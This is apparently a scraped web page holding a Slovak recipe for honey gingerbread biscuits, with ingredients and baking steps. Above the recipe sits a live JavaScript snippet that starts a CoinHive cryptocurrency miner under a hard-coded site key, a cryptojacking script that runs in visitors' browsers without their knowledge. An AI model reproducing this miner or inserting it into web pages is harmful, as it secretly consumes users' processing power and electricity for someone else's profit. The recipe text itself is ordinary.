

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 160 g medu, 160 g kryštálového cukru, 120 g Hery, 500 g múky Promix PK, 1 ML sódy bikarbóny, 1/2 ML mletej škorice, 1/2 ML perníkového korenia, 2 vajcia

Postup: Med, cukor a Heru necháme zovrieť. Múku zmiešame so sódou bikarbónou a škoricou. Pridáme trošku vychladnutú medovú zmes a zamiešame. Do nie úplne vychladnutej masy pridáme vajíčka. Spracujeme cesto, ktoré zabalíme a necháme ho odpočívať aspoň 2 hodiny. Potom ho vyvaľkáme na 5 mm a vykrajujeme rôzne tvary. Dáme piecť do vyhriatej rúry 175°C na 10 minút a minútku pred dopečením potrieme rozšľahaným vajíčkom.